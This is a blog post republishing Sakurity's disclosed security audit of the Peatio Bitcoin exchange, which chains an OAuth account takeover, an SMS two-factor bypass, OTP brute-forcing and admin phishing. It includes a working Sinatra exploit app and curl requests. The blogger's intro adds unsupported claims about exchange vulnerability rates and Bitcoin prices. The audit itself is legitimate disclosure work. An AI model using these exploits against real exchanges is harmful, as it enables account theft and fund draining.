There are 2630 cryptocurrency exchanges are available  & The list is increasing by each passing day. Which exchange to choose when it comes to store your crypto assets?  If you follow bitcoin space, you must have heard about Hacking attacks on Top Bitcoin echange Bitfinex last year.

If the best exchange could went hacking, How sure we are about others. This is an eye opener post about security of these exchanges. 75% of exchanges are still vulnerable to cyber attack and Can be hacked at any point of time. You all must be waiting for bitcoin price to go down, Wait my friend, One such cyber attack and Bitcoin Price will fall drastically.

I am going to present a case study done by SAKURITY on Bitcoin Hacking in this post.

UPDATE: Once again – no one was hacked in reality and the audit was conducted for free. This post is simply an attack scenario. You can download the final report and see clarifications here.

For a while we’ve been looking for a project to conduct volunteer security audit. Recently we found a perfect suit for us – an open source crypto currency exchange Peatio powered by Rails.

We dedicated 8 hours to find a way to do the worst you can do with a Bitcoin exchange – steal the hot wallet. The mission was partially accomplished and we found an interesting chain of critical vulnerabilities.

Step 1. Hijacking the account

Peatio has “Connect Weibo account” feature built-in. According to OAuth Security Cheatsheet, poorly implemented OAuth is a reliable way to take over an account.

Connecting attacker’s weibo account to the victim’s Peatio account

omniauth-weibo-oauth2 gem was vulnerable to state fixation. We can set state to an arbitrary value (e.g. 123) and apply the attacker’s code instead along with state=123, which will lead to assigning attacker’s weibo to victim’s peatio account. The exact same issue was in omniauth-facebook gem and others omniauth-based libraries copy pasting same vulnerable code. It’s funny that the comment above says “to support omniauth-oauth2’s auto csrf protection” but does the opposite and switches it off.

The bug can be exploited with following Sinatra app, just add YourWeiboCookies:

require 'sinatra'
get '/get_weibo_cb' do

  conn = Faraday.new(:url => 'https://api.weibo.com')
  new_url = conn.get do |r|
    r.url "/oauth2/authorize?client_id=456519107&redirect_uri=https%3A%2F%2Fyunbi.com%2Fauth%2Fweibo%2Fcallback&response_type=code&state=123"

    r.headers['Cookie'] =<<COOKIE
YourWeiboCookies
COOKIE

    r.options.timeout = 4        
    r.options.open_timeout = 2
  end.headers["Location"]
  redirect new_url
end

get '/peatio_demo' do
  response.headers['Content-Security-Policy'] = "img-src 'self' https://yunbi.com"
  "<img src='https://yunbi.com/auth/weibo?state=123'><img src='/get_weibo_cb'>"
end

What if the user already has Weibo connected?

The system is not going to connect another Weibo account but we wanted the exploit to work seamlessly for every possible victim. So we hacked Weibo’s OAuth.

First, we found out Weibo doesn’t whitelist redirect_uri like Github didn’t. It’s possible to change redirect_uri to another page on the victim domain to leak the code in the Referrer header and then use it to log in victim’s account.

However there was no such page on Peatio to make it leak. No external images, links or anything. The attack surface was so tiny. But then we found this in DocumentsController:

if not @doc
  redirect_to(request.referer || root_path)
  return
end

Following chain of redirects leaks the code by putting it in the # fragment first.

1. attacker_page redirects to weibo.com/authorize?...redirect_uri=https://app/documents/not_existing_doc%23...
2. Weibo doesn’t properly parse redirect_uri and redirects the victim to https://app/documents/not_existing_doc#?code=VALID_CODE
3. Peatio cannot find not_existing_doc and sends back Location header equal request.referrer which is still attacker_page (the browser retains this header while gets redirected)
4. The browser preserves #?code=VALID_CODE fragment and loads attacker_page#?code=VALID_CODE. Now the code can be leaked with JS via location.hash variable. The code can be used against https://app/auth/weibo/callback to log in the victim’s account.

So using two bugs above we can hijack any peatio account and only last one requires JS.

Step 2: Bypassing 2 Factor Authentication

For users with Google Authenticator activated

There’s a gaping hole in SmsAuthsController – two_factor_required! is only called for showaction, but not for update which is actually responsible for activating SMS 2FA.

before_action :auth_member!
before_action :find_sms_auth
before_action :activated?
before_action :two_factor_required!, only: [:show]

def show
  @phone_number = Phonelib.parse(current_user.phone_number).national
end

def update
  if params[:commit] == 'send_code'
    send_code_phase
  else
    verify_code_phase
  end
end

We can activate new SMS authenticator simply sending following requests straight to updateaction.

curl ‘https://app/verify/sms_auth’ -H ‘X-CSRF-Token:ZPwrQuLJ3x7md3wolrCTE6HItxkwOiUNHlekDPRDkwI=’ -H ‘Cookie:_peatio_session=SID’ –data ‘_method=patch&sms_auth%5Bcountry%5D=DE&sms_auth%5B phone_number%5D=9123222211&commit=send_code’

curl ‘https://app/verify/sms_auth’ -H ‘X-CSRF-Token:ZPwrQuLJ3x7md3wolrCTE6HItxkwOiUNHlekDPRDkwI=’ -H ‘Cookie:_peatio_session=SID’ –data ‘_method=patch&sms_auth%5Bcountry%5D=DE&sms_auth%5B phone_number%5D=9123222211&sms_auth%5Botp%5D=CODE_WE_RECEIVED’

For users with both Authenticator and SMS

Peatio doesn’t store failed attempts for OTP so it’s very easy to bruteforce both App and SMS OTPs, it will take less than 3 days. For more details check our OTP Bruteforce Calculator

For users with SMS 2FA only

two_factor_by_type method doesn’t use activated scope so even inactive 2FA models can be used. Thus we are not going to brute SMS auth because the victim will start receiving suspicious SMS. We still can bruteforce Google Authenticator because it has seed generated and verify? method is working fine.

def two_factor_by_type
  current_user.two_factors.by_type(params[:id])
end

Furthermore, SMS 2FA has two more issues

def gen_code
  self.otp_secret = OTP_LENGTH.times.map{ Random.rand(9) + 1 }.join
  self.refreshed_at = Time.now
end

First issue is Random.rand is based on PRNG (Mersenne Twister) which is easily predictable once you have enough subsequently generated numbers.

Second issue is rand(9) can only generate numbers from 0 to 8 so total number of combinations will be 9^6=531441 almost twice less than 1,000,000 and twice easier to bruteforce than App 2FA.

With tricks outlined above we can bypass 2FA for any user. In worst case scenario it takes less than 3 days. If the victim has only Google Authenticator it takes less than 5 seconds to set up new SMS authenticator.

Step 3: Attacking the admin

Alright, we can hijack the account and bypass 2FA for any user, so we can steal the Bitcoins from anyone who visits our page. Still we need a lot of users to trick into clicking our phishy links. Let’s focus on just one of them – the admin.

The simplest way to make the admin visit our link is to create a support ticket with something like “What is wrong with my account can you please check? https://i.will.hack.you/now”. Then we hack 2FA to get into the /admin panel:

Unfortunately, this is the worst part. The admin of Peatio can do just few more things than a regular user. Nothing like “Send all the coins to this bad guy” or “Show API keys of all users”.

  can :update, Proof
  can :manage, Document
  can :manage, Member
  can :manage, Ticket
  can :manage, IdDocument
  can :manage, TwoFactor
  can :menu, Deposit
  can :manage, Deposit
  can :manage, ::Deposits::Bank
  can :manage, ::Deposits::Satoshi
  can :menu, Withdraw
  can :manage, ::Withdraws::Bank
  can :manage, ::Withdraws::Satoshi

The only thing we found is creating a fiat deposit of like 99999999 Chinese Yuan and then accepting it by an admin.

Then we can buy all available Bitcoins and altcoins to withdraw them. However not all Bitcoins are on orders. Doing it in stealth mode for a week can bring better results than closing all the orders in rush mode.

Yunbi assets: 1636 BTC in total and ~350 in the hot wallet

Our bounty: 1 BTC. It wasn’t about money though.

Finally, the report is available to download.

Hitesh Malviya

Hitesh Malviya is the Founder of ItsBlockchain. He is one of the most early adopters of blockchain & cryptocurrency enthusiast in India. After being into space for a few years, he started IBC in 2016 to help other early adopters learn about the technology.
Before IBC, Hitesh has founded 4 companies in the cyber security & IT space.